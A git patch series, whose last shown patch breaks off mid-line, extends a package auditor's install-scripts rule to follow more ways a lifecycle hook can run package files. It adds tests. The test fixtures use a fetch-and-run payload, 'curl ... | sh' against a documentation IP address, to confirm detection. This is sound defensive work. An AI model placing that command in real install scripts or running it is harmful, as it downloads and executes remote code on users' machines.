From c667e877dd84174e8ced2126e549e331dbce0582 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 13:43:47 +0200 Subject: [PATCH 1/5] fix(core): follow more executors in install-scripts A lifecycle hook that runs a package file through one of these forms was rated low instead of critical: - `.` and `source` are interpreters: their first operand is the script. - When any stage of a pipeline is an interpreter, the operands of the other stages (`cat setup | sh`) are treated as executed files. - A path-qualified wrapper counts by its basename (`/usr/bin/env node`). - `tsx` and `ts-node` are interpreters; `.mts` and `.cts` are code extensions, and an extension-less operand also tries `.ts`. - `node .` and `node ` resolve the directory's `package.json` `main`, then `index.js`. Bump AUDIT_REVISION to 4: rule semantics changed, so audits persisted before this fix must be recomputed. Closes #86 --- docs/adr/0056-security-audit-hardening.md | 3 +- packages/core/src/audit.ts | 2 +- packages/core/src/rules/install-scripts.ts | 59 +++++++++++++---- packages/core/test/security-executors.test.ts | 65 +++++++++++++++++++ 4 files changed, 114 insertions(+), 15 deletions(-) create mode 100644 packages/core/test/security-executors.test.ts diff --git a/docs/adr/0056-security-audit-hardening.md b/docs/adr/0056-security-audit-hardening.md index 2e18b58..99a7a5e 100644 --- a/docs/adr/0056-security-audit-hardening.md +++ b/docs/adr/0056-security-audit-hardening.md @@ -283,7 +283,8 @@ and `transferRequestBytes` take `currentChallengeId`. - Detection gaps left for follow-up (`npm run ` was closed in #85, by deliberate over-following: after `npm`, `pnpm`, `yarn` or `bun`, every word that names a defined script is followed with its `pre`/`post` scripts, each script once from a worklist, and its body gets the hook's inline-danger - check; `AUDIT_REVISION` is 3): `.`/`source` are not treated as interpreters, bare + check; #86 closed `.`/`source` as interpreters, pipes into an interpreter, pathed wrappers, + `tsx`/`ts-node`/`.ts` operands and `node `; `AUDIT_REVISION` is 4): bare `-r`/`NODE_OPTIONS` specifiers and extension-less preload paths are not resolved, command words are not looked up in bundled `node_modules/.bin`, and the overflow fallback stays regex-based. Other rules still scan those diff --git a/packages/core/src/audit.ts b/packages/core/src/audit.ts index 33432ba..729b093 100644 --- a/packages/core/src/audit.ts +++ b/packages/core/src/audit.ts @@ -26,7 +26,7 @@ import type { VulnAdvisory } from "./vuln-corpus.js"; export const ENGINE_VERSION = "0.1.0-alpha.2"; /** Bump whenever rule or extraction semantics change: cached and stored audits from another revision are recomputed. */ -export const AUDIT_REVISION = 3; +export const AUDIT_REVISION = 4; /** Run the heuristic rule pipeline over an already-extracted package. */ export function runRules(input: AuditInput): Finding[] { diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 001d0a2..97275c9 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -96,9 +96,13 @@ export const installScriptsRule: Rule = { // Pieces of a shell word that may hide a path (`${VAR}setup`, `--require=./x.js`, `a\b`). const WORD_PIECES = /[${}\\=,'"`()<>]+/; // `<>`: `node = { sh: SHELL_INLINE, bash: SHELL_INLINE, zsh: SHELL_INLINE, dash: SHELL_INLINE, ksh: SHELL_INLINE, - node: NODE_INLINE, nodejs: NODE_INLINE, bun: NODE_INLINE, deno: NODE_INLINE, + node: NODE_INLINE, nodejs: NODE_INLINE, bun: NODE_INLINE, deno: NODE_INLINE, tsx: NODE_INLINE, "ts-node": NODE_INLINE, + ".": NO_INLINE, source: NO_INLINE, // `. ./setup` / `source setup`: the first operand is the sourced script python: /^-c$/, python3: /^-c$/, perl: /^-e$/, ruby: /^-e$/, php: /^-r$/, pwsh: /^-(?:c|command)$/i, powershell: /^-(?:c|command)$/i, }; // Operands with these extensions are code wherever they appear (`sudo node x.js`, `timeout 5 sh x.sh`). -const CODE_WORD = /\.(?:c?js|mjs|ts|sh|py|pl|rb)\b/i; +const CODE_WORD = /\.(?:c?js|mjs|m?ts|cts|sh|py|pl|rb)\b/i; // Flags whose value is also executed code (`node -r ./hook main.js`). const CODE_VALUE_FLAG = /^--?(?:r|require|import|loader|experimental-loader)(?:=(.*))?$/; const MAX_SUFFIX_DEPTH = 64; @@ -204,17 +211,29 @@ function makeResolver(files: PackageFile[], scripts: Record): (c * A shell never appends `.js` to a command word, so only `script` retries. */ type Mode = "exact" | "path" | "script"; + // `node `: the `main` file of /package.json, then /index.js. Mains are parsed once per directory. + const mains = new Map(); + const entry = (dir: string): PackageFile | undefined => { + if (!mains.has(dir)) { + let main: unknown; + try { main = JSON.parse(exact(`${dir}/package.json`)?.content ?? "null")?.main; } catch { /* no usable main */ } + mains.set(dir, typeof main === "string" ? main.replace(/^\.\//, "") : undefined); + } + const main = mains.get(dir) as string | undefined; + return (main ? exact(`${dir}/${main}`) ?? exact(`${dir}/${main}.js`) ?? exact(`${dir}/${main}/index.js`) : undefined) ?? exact(`${dir}/index.js`); + }; const resolveRef = (raw: string, mode: Mode): PackageFile | undefined => { - const ref = raw.replace(/^\.\//, ""); + const ref = raw.replace(/^\.\//, "").replace(/\/$/, "") || (raw === "./" ? "." : ""); if (!ref) return undefined; + if (ref === "." && mode === "script") return entry("package"); let hit = exact(`package/${ref}`); if (hit || mode === "exact") return hit; if (mode === "path") return suffix(ref); const dotted = ref.slice(ref.lastIndexOf("/") + 1).includes("."); - // Node resolves `node setup` / `node scripts` as setup.js / scripts/index.js. - if (!dotted) hit = exact(`package/${ref}.js`) ?? exact(`package/${ref}/index.js`); + // Node resolves `node setup` / `node scripts` as setup.js / scripts/
; TS runners also try setup.ts. + if (!dotted) hit = exact(`package/${ref}.js`) ?? entry(`package/${ref}`) ?? exact(`package/${ref}.ts`); // After a `cd scripts &&` the file sits deeper than `package/`. - return hit ?? suffix(ref) ?? (dotted ? undefined : suffix(`${ref}.js`)); + return hit ?? suffix(ref) ?? (dotted ? undefined : suffix(`${ref}.js`) ?? suffix(`${ref}.ts`)); }; const resolveWord = (word: string, mode: Mode): PackageFile | undefined => { const w = trimPunct(word); @@ -226,8 +245,15 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } return undefined; }; + // A path-qualified wrapper counts by its basename (`/usr/bin/env`). const isPrefix = (words: string[], i: number) => - /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(words[i]!) || (i > 0 && WRAPPERS.has(words[i - 1]!) && words[i]!.startsWith("-")); + /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(base(words[i]!)) || (i > 0 && WRAPPERS.has(base(words[i - 1]!)) && words[i]!.startsWith("-")); + const isInterpreterCommand = (simple: string): boolean => { + const ws = simple.split(/\s+/).filter(Boolean).map(unquote); + let k = 0; + while (k < ws.length && isPrefix(ws, k)) k++; + return ws[k] !== undefined && Object.hasOwn(INLINE_FLAG, base(trimPunct(ws[k]!))); + }; // Package scripts reached from a command line, scanned from a worklist (not recursion): each name once, so // the work is bounded by the number of scripts and a long chain cannot overflow the stack. @@ -268,7 +294,12 @@ function makeResolver(files: PackageFile[], scripts: Record): (c // Quote tracking can only ADD coverage: a stray apostrophe (`# it's`) must not hide later commands, // so the plain split is scanned too, and `$(...)` / backtick bodies are scanned as command lines. if (depth < MAX_INLINE_DEPTH) for (const body of substitutionBodies(cmd)) scan(body, out, depth + 1); - for (const simple of new Set([...splitSimpleCommands(cmd), ...cmd.split(SIMPLE_COMMAND_SPLIT)])) { + for (const pipeline of new Set([...splitSimpleCommands(cmd, true), ...cmd.split(PIPELINE_SPLIT)])) { + const quoted = splitSimpleCommands(pipeline); // quote-aware, so `php -r 'a;b' README` is one stage + const stages = new Set([...quoted, ...pipeline.split(SIMPLE_COMMAND_SPLIT)]); + // Over-follow: when any stage of a real pipeline is an interpreter, the other stages' operands (`cat x | sh`) are scripts. + const piped = quoted.length > 1 && quoted.some(isInterpreterCommand); + for (const simple of stages) { const rawWords = simple.split(/\s+/).filter(Boolean); const words = rawWords.map(unquote); // Indexes of words ending in each quote char, built once per command so repeated inline flags @@ -293,7 +324,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const command = words[i]; if (!command) continue; const name = trimPunct(command); - const interpreter = name.slice(name.lastIndexOf("/") + 1); + const interpreter = base(name); if (PACKAGE_MANAGERS.has(interpreter)) followScriptWords(words, i + 1, out); const inline = Object.hasOwn(INLINE_FLAG, interpreter) ? INLINE_FLAG[interpreter] : undefined; // The command word itself may be a package script (`./setup`). @@ -355,7 +386,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c continue; } const isCode = CODE_WORD.test(w); - if (!isCode && (!inline || found)) continue; + if (!isCode && !(piped && !inline) && (!inline || found)) continue; const hit = resolveWord(w, "script"); if (hit) { out.add(hit); @@ -363,6 +394,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } } } + } }; return (cmd) => { @@ -376,6 +408,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } const MAX_INLINE_DEPTH = 3; +const base = (w: string) => w.slice(w.lastIndexOf("/") + 1); const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn", "bun"]); // Scripts a built-in package-manager command runs besides the script of its own name (npm lifecycle). const INSTALL_SCRIPTS = ["preinstall", "install", "postinstall", "prepublish", "prepare"]; diff --git a/packages/core/test/security-executors.test.ts b/packages/core/test/security-executors.test.ts new file mode 100644 index 0000000..7c8d896 --- /dev/null +++ b/packages/core/test/security-executors.test.ts @@ -0,0 +1,65 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { runRules } from "../src/index.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// install-scripts follows files run through `.`/`source`, pipes into an interpreter, pathed wrappers, +// TypeScript runners and Node's directory entry point. + +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address +const PAYLOAD = `${CURL_SH}\n`; +const BENIGN = "echo hello\n"; + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record, pkgJson: object): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + list.push(file("package/package.json", JSON.stringify(pkgJson))); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} +const sev = (hook: string, files: Record, pkg: object = {}) => + runRules(inputFor(files, { ...pkg, scripts: { postinstall: hook } })).filter((x) => x.ruleId === "install-scripts").map((x) => x.severity); + +/** `hook` is critical when `path` holds the payload and low when it holds a benign file. */ +function row(label: string, hook: string, path: string, extra: Record = {}, pkg: object = {}) { + test(`${label}: \`${hook}\``, () => { + assert.deepEqual(sev(hook, { ...extra, [path]: PAYLOAD }, pkg), ["critical"]); + assert.deepEqual(sev(hook, { ...extra, [path]: BENIGN }, pkg), ["low"]); + }); +} + +describe("install hooks follow the files these forms execute", () => { + row("dot builtin", ". ./setup", "package/setup"); + row("source builtin", "source setup", "package/setup"); + row("pipe into sh", "cat setup | sh", "package/setup"); + row("pipe into node", "cat setup | node", "package/setup"); + row("pipe into an interpreter after other stages", "cat setup | tr a b | bash", "package/setup"); + row("pathed env wrapper", "/usr/bin/env node setup", "package/setup.js"); + row("pathed env wrapper with a flag", "/usr/bin/env -i node setup", "package/setup.js"); + row("tsx", "tsx setup", "package/setup.ts"); + row("ts-node", "ts-node setup", "package/setup.ts"); + row("bun with a .ts file", "bun setup.ts", "package/setup.ts"); + row(".mts operand", "node --import tsx setup.mts", "package/setup.mts"); + row(".cts operand", "tsx run.cts", "package/run.cts"); + row("node . uses package.json main", "node .", "package/lib/start.js", {}, { main: "lib/start.js" }); + row("node . falls back to index.js", "node .", "package/index.js"); + row("node uses its package.json main", "node tool", "package/tool/entry.js", { "package/tool/package.json": '{"main":"entry.js"}' }); + row("node falls back to index.js", "node tool", "package/tool/index.js"); + + test("a pipeline with no interpreter does not execute its operands", () => { + assert.deepEqual(sev("cat setup | wc -l", { "package/setup": PAYLOAD }), ["low"]); + }); + + test("a pipeline operand that names no package file resolves nothing", () => { + assert.deepEqual(sev("echo hi | sh", { "package/setup": PAYLOAD }), ["low"]); + }); +}); From 4409d58cc03b0e1e4edc7583f872208ee7c7da72 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 13:48:20 +0200 Subject: [PATCH 2/5] fix(core): tighten executor following in install-scripts - Cache the resolved entry file (or the miss) per directory for `node `, so many references to a directory with a huge `main` no longer rebuild and hash the candidate paths each time. - A relative path-qualified command word that names a package file (`./bin/env`, `bin/node`) is that file: it is scanned as a command and is not mistaken for the wrapper or interpreter it is named after. Absolute paths and unresolved relative paths still use the basename. - In a pipeline, only stages upstream of an interpreter stage have their operands followed, so `node build.js | tee report.md` does not scan the report. `sudo` is a wrapper, so `cat x | sudo sh` counts, `|&` is a pipe, and a newline right after `|` continues the pipeline. - A directory name with a dot (`node tools.v2`) resolves its entry file. Refs #86 --- packages/core/src/rules/install-scripts.ts | 48 ++++++++++++------- packages/core/test/security-executors.test.ts | 28 +++++++++++ 2 files changed, 59 insertions(+), 17 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 97275c9..239be5b 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -96,7 +96,7 @@ export const installScriptsRule: Rule = { // Pieces of a shell word that may hide a path (`${VAR}setup`, `--require=./x.js`, `a\b`). const WORD_PIECES = /[${}\\=,'"`()<>]+/; // `<>`: `node = start && (cmd[j] === " " || cmd[j] === "\t")) j--; + if (j > start && cmd[j] === "|" && cmd[j - 1] !== "|") continue; + } if (c === ";" || c === "|" || c === "&" || c === "\n") { out.push(cmd.slice(start, i)); while (cmd[i + 1] === c && c !== ";" && c !== "\n") i++; // `&&`, `||` @@ -145,7 +150,7 @@ function substitutionBodies(cmd: string): string[] { } return bodies; } -const WRAPPERS = new Set(["env", "exec", "nohup", "time", "command", "npx"]); +const WRAPPERS = new Set(["env", "exec", "nohup", "time", "command", "npx", "sudo"]); // Inline-code flags differ per interpreter (`sh -e` is errexit, not inline code). const SHELL_INLINE = /^-[a-z]*c[a-z]*$/i; // `-c`, `-ec`, `-lc` const NODE_INLINE = /^(?:-[ep]|-pe|--eval(?:=.*)?|--print(?:=.*)?)$/; @@ -211,16 +216,18 @@ function makeResolver(files: PackageFile[], scripts: Record): (c * A shell never appends `.js` to a command word, so only `script` retries. */ type Mode = "exact" | "path" | "script"; - // `node `: the `main` file of /package.json, then /index.js. Mains are parsed once per directory. - const mains = new Map(); + // `node `: the `main` file of /package.json, then /index.js. Resolved (or missed) once per directory. + const entries = new Map(); const entry = (dir: string): PackageFile | undefined => { - if (!mains.has(dir)) { + let hit = entries.get(dir); + if (hit === undefined) { let main: unknown; try { main = JSON.parse(exact(`${dir}/package.json`)?.content ?? "null")?.main; } catch { /* no usable main */ } - mains.set(dir, typeof main === "string" ? main.replace(/^\.\//, "") : undefined); + const m = typeof main === "string" ? main.replace(/^\.\//, "") : ""; + hit = (m ? exact(`${dir}/${m}`) ?? exact(`${dir}/${m}.js`) ?? exact(`${dir}/${m}/index.js`) : undefined) ?? exact(`${dir}/index.js`) ?? null; + entries.set(dir, hit); } - const main = mains.get(dir) as string | undefined; - return (main ? exact(`${dir}/${main}`) ?? exact(`${dir}/${main}.js`) ?? exact(`${dir}/${main}/index.js`) : undefined) ?? exact(`${dir}/index.js`); + return hit ?? undefined; }; const resolveRef = (raw: string, mode: Mode): PackageFile | undefined => { const ref = raw.replace(/^\.\//, "").replace(/\/$/, "") || (raw === "./" ? "." : ""); @@ -231,7 +238,9 @@ function makeResolver(files: PackageFile[], scripts: Record): (c if (mode === "path") return suffix(ref); const dotted = ref.slice(ref.lastIndexOf("/") + 1).includes("."); // Node resolves `node setup` / `node scripts` as setup.js / scripts/
; TS runners also try setup.ts. - if (!dotted) hit = exact(`package/${ref}.js`) ?? entry(`package/${ref}`) ?? exact(`package/${ref}.ts`); + if (!dotted) hit = exact(`package/${ref}.js`); + hit ??= entry(`package/${ref}`); // a directory may have a dot in its name (`tools.v2`) + if (!dotted) hit ??= exact(`package/${ref}.ts`); // After a `cd scripts &&` the file sits deeper than `package/`. return hit ?? suffix(ref) ?? (dotted ? undefined : suffix(`${ref}.js`) ?? suffix(`${ref}.ts`)); }; @@ -245,14 +254,19 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } return undefined; }; - // A path-qualified wrapper counts by its basename (`/usr/bin/env`). + // A command word is judged by its basename (`/usr/bin/env` is `env`), except a relative path that names a + // package file (`./bin/env`): that is the file itself, scanned as a command, not the wrapper it is named after. + const cmdBase = (w: string): string => { + const t = trimPunct(w); + return t.includes("/") && !t.startsWith("/") && resolveWord(t, "path") ? t : base(t); + }; const isPrefix = (words: string[], i: number) => - /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(base(words[i]!)) || (i > 0 && WRAPPERS.has(base(words[i - 1]!)) && words[i]!.startsWith("-")); + /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(cmdBase(words[i]!)) || (i > 0 && WRAPPERS.has(cmdBase(words[i - 1]!)) && words[i]!.startsWith("-")); const isInterpreterCommand = (simple: string): boolean => { const ws = simple.split(/\s+/).filter(Boolean).map(unquote); let k = 0; while (k < ws.length && isPrefix(ws, k)) k++; - return ws[k] !== undefined && Object.hasOwn(INLINE_FLAG, base(trimPunct(ws[k]!))); + return ws[k] !== undefined && Object.hasOwn(INLINE_FLAG, cmdBase(ws[k]!)); }; // Package scripts reached from a command line, scanned from a worklist (not recursion): each name once, so @@ -297,8 +311,8 @@ function makeResolver(files: PackageFile[], scripts: Record): (c for (const pipeline of new Set([...splitSimpleCommands(cmd, true), ...cmd.split(PIPELINE_SPLIT)])) { const quoted = splitSimpleCommands(pipeline); // quote-aware, so `php -r 'a;b' README` is one stage const stages = new Set([...quoted, ...pipeline.split(SIMPLE_COMMAND_SPLIT)]); - // Over-follow: when any stage of a real pipeline is an interpreter, the other stages' operands (`cat x | sh`) are scripts. - const piped = quoted.length > 1 && quoted.some(isInterpreterCommand); + // Over-follow: the operands of every stage upstream of an interpreter stage (`cat x | sh`) are scripts. + const upstream = new Set(quoted.slice(0, Math.max(0, quoted.map(isInterpreterCommand).lastIndexOf(true)))); for (const simple of stages) { const rawWords = simple.split(/\s+/).filter(Boolean); const words = rawWords.map(unquote); @@ -324,7 +338,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const command = words[i]; if (!command) continue; const name = trimPunct(command); - const interpreter = base(name); + const interpreter = cmdBase(name); if (PACKAGE_MANAGERS.has(interpreter)) followScriptWords(words, i + 1, out); const inline = Object.hasOwn(INLINE_FLAG, interpreter) ? INLINE_FLAG[interpreter] : undefined; // The command word itself may be a package script (`./setup`). @@ -386,7 +400,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c continue; } const isCode = CODE_WORD.test(w); - if (!isCode && !(piped && !inline) && (!inline || found)) continue; + if (!isCode && !(upstream.has(simple) && !inline) && (!inline || found)) continue; const hit = resolveWord(w, "script"); if (hit) { out.add(hit); diff --git a/packages/core/test/security-executors.test.ts b/packages/core/test/security-executors.test.ts index 7c8d896..49383dd 100644 --- a/packages/core/test/security-executors.test.ts +++ b/packages/core/test/security-executors.test.ts @@ -55,6 +55,34 @@ describe("install hooks follow the files these forms execute", () => { row("node uses its package.json main", "node tool", "package/tool/entry.js", { "package/tool/package.json": '{"main":"entry.js"}' }); row("node falls back to index.js", "node tool", "package/tool/index.js"); + row("pipe into sudo sh", "cat setup | sudo sh", "package/setup"); + row("pipe-and into sh", "cat setup |& sh", "package/setup"); + row("newline continues a pipeline", "cat setup |\nsh", "package/setup"); + row("dotted directory name", "node tools.v2", "package/tools.v2/index.js"); + + test("a package-local command word is a package file, not env/node", () => { + assert.deepEqual(sev("./bin/env setup", { "package/bin/env": PAYLOAD, "package/setup.js": BENIGN }), ["critical"]); + assert.deepEqual(sev("bin/node setup", { "package/bin/node": PAYLOAD, "package/setup.js": BENIGN }), ["critical"]); + assert.deepEqual(sev("./env setup", { "package/env": PAYLOAD, "package/setup.js": BENIGN }), ["critical"]); + assert.deepEqual(sev("./bin/env setup", { "package/bin/env": BENIGN, "package/setup.js": BENIGN }), ["low"]); + // an unresolved or absolute path is still a wrapper, so the operand is scanned + assert.deepEqual(sev("/usr/bin/env node setup", { "package/setup.js": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("./bin/env node setup", { "package/setup.js": PAYLOAD }), ["critical"]); + }); + + test("only stages upstream of an interpreter are followed", () => { + const report = { "package/build.js": BENIGN, "package/build-report.md": `${CURL_SH}\n` }; + assert.deepEqual(sev("node build.js | tee build-report.md", report), ["low"]); + assert.deepEqual(sev("cat setup | sh | tee build-report.md", { "package/setup": BENIGN, ...report }), ["low"]); + }); + + test("many directory references stay cheap even with a huge `main`", () => { + const pkg = { main: `${"a".repeat(200000)}.js` }; + const t0 = Date.now(); + assert.deepEqual(sev(`cat ${". ".repeat(50000)}| sh`, { "package/index.js": BENIGN }, pkg), ["low"]); + assert.ok(Date.now() - t0 < 1000, `took ${Date.now() - t0} ms`); + }); + test("a pipeline with no interpreter does not execute its operands", () => { assert.deepEqual(sev("cat setup | wc -l", { "package/setup": PAYLOAD }), ["low"]); }); From a4c027ebe4b731a79f540de841661ad35a5c8af7 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 14:00:03 +0200 Subject: [PATCH 3/5] fix(core): keep package-local wrappers and nested candidates in install-scripts - A relative path-qualified command word that names a package file (`./bin/env`) is now both scanned as a file and still treated as the wrapper or interpreter it is named after, so `./bin/env node evil` scans `evil` as well as `bin/env`. The file is found by exact lookup, not the suffix trie. - A directory entry for a dotted name (`node tools.v2`) no longer hides a nested file the suffix lookup finds after a `cd`: both are followed. - A newline continues a pipeline only after a real pipe operator: an escaped `\|` is not one, and `|&` is. Refs #86 --- packages/core/src/rules/install-scripts.ts | 42 ++++++++++++------- packages/core/test/security-executors.test.ts | 26 +++++++++++- 2 files changed, 51 insertions(+), 17 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 239be5b..ab1577e 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -106,16 +106,17 @@ function splitSimpleCommands(cmd: string, keepPipes = false): string[] { const out: string[] = []; let start = 0; let quote = ""; + let pipeEnd = -1; // index of the last char of the last unquoted, unescaped `|` / `|&` for (let i = 0; i < cmd.length; i++) { const c = cmd[i]!; if (c === "\\" && quote !== "'") { i++; continue; } if (quote) { if (c === quote) quote = ""; continue; } if (c === "'" || c === '"') { quote = c; continue; } - if (c === "|" && keepPipes && cmd[i + 1] !== "|") { if (cmd[i + 1] === "&") i++; continue; } - if (c === "\n" && keepPipes) { // a newline right after `|` continues the pipeline + if (c === "|" && keepPipes && cmd[i + 1] !== "|") { if (cmd[i + 1] === "&") i++; pipeEnd = i; continue; } + if (c === "\n" && keepPipes) { // a newline right after a pipe operator continues the pipeline let j = i - 1; while (j >= start && (cmd[j] === " " || cmd[j] === "\t")) j--; - if (j > start && cmd[j] === "|" && cmd[j - 1] !== "|") continue; + if (j === pipeEnd) continue; } if (c === ";" || c === "|" || c === "&" || c === "\n") { out.push(cmd.slice(start, i)); @@ -229,6 +230,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } return hit ?? undefined; }; + let spill: PackageFile[] = []; // extra candidates a resolution found besides the one it returned const resolveRef = (raw: string, mode: Mode): PackageFile | undefined => { const ref = raw.replace(/^\.\//, "").replace(/\/$/, "") || (raw === "./" ? "." : ""); if (!ref) return undefined; @@ -237,12 +239,18 @@ function makeResolver(files: PackageFile[], scripts: Record): (c if (hit || mode === "exact") return hit; if (mode === "path") return suffix(ref); const dotted = ref.slice(ref.lastIndexOf("/") + 1).includes("."); + // After a `cd scripts &&` the file sits deeper than `package/`. + const nested = () => suffix(ref) ?? (dotted ? undefined : suffix(`${ref}.js`) ?? suffix(`${ref}.ts`)); // Node resolves `node setup` / `node scripts` as setup.js / scripts/
; TS runners also try setup.ts. if (!dotted) hit = exact(`package/${ref}.js`); - hit ??= entry(`package/${ref}`); // a directory may have a dot in its name (`tools.v2`) + const dir = hit ? undefined : entry(`package/${ref}`); // a directory may have a dot in its name (`tools.v2`) + if (dir) { + const n = nested(); // over-follow: a directory entry must not hide a nested file the suffix lookup finds + if (n && n !== dir) spill.push(n); + return dir; + } if (!dotted) hit ??= exact(`package/${ref}.ts`); - // After a `cd scripts &&` the file sits deeper than `package/`. - return hit ?? suffix(ref) ?? (dotted ? undefined : suffix(`${ref}.js`) ?? suffix(`${ref}.ts`)); + return hit ?? nested(); }; const resolveWord = (word: string, mode: Mode): PackageFile | undefined => { const w = trimPunct(word); @@ -254,19 +262,17 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } return undefined; }; - // A command word is judged by its basename (`/usr/bin/env` is `env`), except a relative path that names a - // package file (`./bin/env`): that is the file itself, scanned as a command, not the wrapper it is named after. - const cmdBase = (w: string): string => { - const t = trimPunct(w); - return t.includes("/") && !t.startsWith("/") && resolveWord(t, "path") ? t : base(t); - }; + // A command word is judged by its basename (`/usr/bin/env` is `env`). A relative path that names a package file + // (`./bin/env`) is that file too: it is scanned (`localCommand`) and still plays the wrapper/interpreter role. + const localCommand = (w: string): PackageFile | undefined => + w.includes("/") && !w.startsWith("/") ? exact(`package/${trimPunct(w).replace(/^\.\//, "")}`) : undefined; const isPrefix = (words: string[], i: number) => - /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(cmdBase(words[i]!)) || (i > 0 && WRAPPERS.has(cmdBase(words[i - 1]!)) && words[i]!.startsWith("-")); + /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(base(words[i]!)) || (i > 0 && WRAPPERS.has(base(words[i - 1]!)) && words[i]!.startsWith("-")); const isInterpreterCommand = (simple: string): boolean => { const ws = simple.split(/\s+/).filter(Boolean).map(unquote); let k = 0; while (k < ws.length && isPrefix(ws, k)) k++; - return ws[k] !== undefined && Object.hasOwn(INLINE_FLAG, cmdBase(ws[k]!)); + return ws[k] !== undefined && Object.hasOwn(INLINE_FLAG, base(trimPunct(ws[k]!))); }; // Package scripts reached from a command line, scanned from a worklist (not recursion): each name once, so @@ -327,6 +333,8 @@ function makeResolver(files: PackageFile[], scripts: Record): (c }; let i = 0; for (; i < words.length && isPrefix(words, i); i++) { + const local = localCommand(words[i]!); + if (local) out.add(local); // `NODE_OPTIONS=--require=./hook.js node -v`: a code file inside an assignment value runs too. const eq = words[i]!.indexOf("="); if (eq < 0) continue; @@ -338,7 +346,9 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const command = words[i]; if (!command) continue; const name = trimPunct(command); - const interpreter = cmdBase(name); + const interpreter = base(name); + const local = localCommand(command); + if (local) out.add(local); if (PACKAGE_MANAGERS.has(interpreter)) followScriptWords(words, i + 1, out); const inline = Object.hasOwn(INLINE_FLAG, interpreter) ? INLINE_FLAG[interpreter] : undefined; // The command word itself may be a package script (`./setup`). @@ -415,8 +425,10 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const out = new Set(); visited = new Set(); queue = []; + spill = []; scan(cmd, out, 0); for (let q = 0; q < queue.length; q++) scan(queue[q]![1], out, 0); // the queue grows while it is read + for (const f of spill) out.add(f); return { files: [...out], scripts: queue }; }; } diff --git a/packages/core/test/security-executors.test.ts b/packages/core/test/security-executors.test.ts index 49383dd..ad2eb5d 100644 --- a/packages/core/test/security-executors.test.ts +++ b/packages/core/test/security-executors.test.ts @@ -60,6 +60,27 @@ describe("install hooks follow the files these forms execute", () => { row("newline continues a pipeline", "cat setup |\nsh", "package/setup"); row("dotted directory name", "node tools.v2", "package/tools.v2/index.js"); + row("newline after |& continues a pipeline", "cat setup |&\nsh", "package/setup"); + + test("an escaped pipe is not a pipe, so the newline after it separates commands", () => { + assert.deepEqual(sev("cat setup \\|\nsh", { "package/setup": PAYLOAD }), ["low"]); + }); + + test("a package-local wrapper is scanned and still acts as a wrapper", () => { + // payload in the extension-less operand of the wrapped interpreter, benign wrapper file + assert.deepEqual(sev("./bin/env node evil", { "package/bin/env": BENIGN, "package/evil": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("./bin/env node evil", { "package/bin/env": BENIGN, "package/evil": BENIGN }), ["low"]); + assert.deepEqual(sev("./bin/env setup", { "package/bin/env": PAYLOAD, "package/setup.js": BENIGN }), ["critical"]); + assert.deepEqual(sev("./bin/node evil", { "package/bin/node": BENIGN, "package/evil": PAYLOAD }), ["critical"]); + }); + + test("a dotted directory entry does not hide a nested file the suffix lookup finds", () => { + const dir = { "package/tools.v2/index.js": BENIGN }; + assert.deepEqual(sev("cd scripts && node tools.v2", { ...dir, "package/scripts/tools.v2": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("cd scripts && node tools.v2", { ...dir, "package/scripts/tools.v2": BENIGN }), ["low"]); + assert.deepEqual(sev("node tools.v2", { "package/tools.v2/index.js": PAYLOAD, "package/scripts/tools.v2": BENIGN }), ["critical"]); + }); + test("a package-local command word is a package file, not env/node", () => { assert.deepEqual(sev("./bin/env setup", { "package/bin/env": PAYLOAD, "package/setup.js": BENIGN }), ["critical"]); assert.deepEqual(sev("bin/node setup", { "package/bin/node": PAYLOAD, "package/setup.js": BENIGN }), ["critical"]); @@ -78,9 +99,10 @@ describe("install hooks follow the files these forms execute", () => { test("many directory references stay cheap even with a huge `main`", () => { const pkg = { main: `${"a".repeat(200000)}.js` }; - const t0 = Date.now(); + const t0 = performance.now(); assert.deepEqual(sev(`cat ${". ".repeat(50000)}| sh`, { "package/index.js": BENIGN }, pkg), ["low"]); - assert.ok(Date.now() - t0 < 1000, `took ${Date.now() - 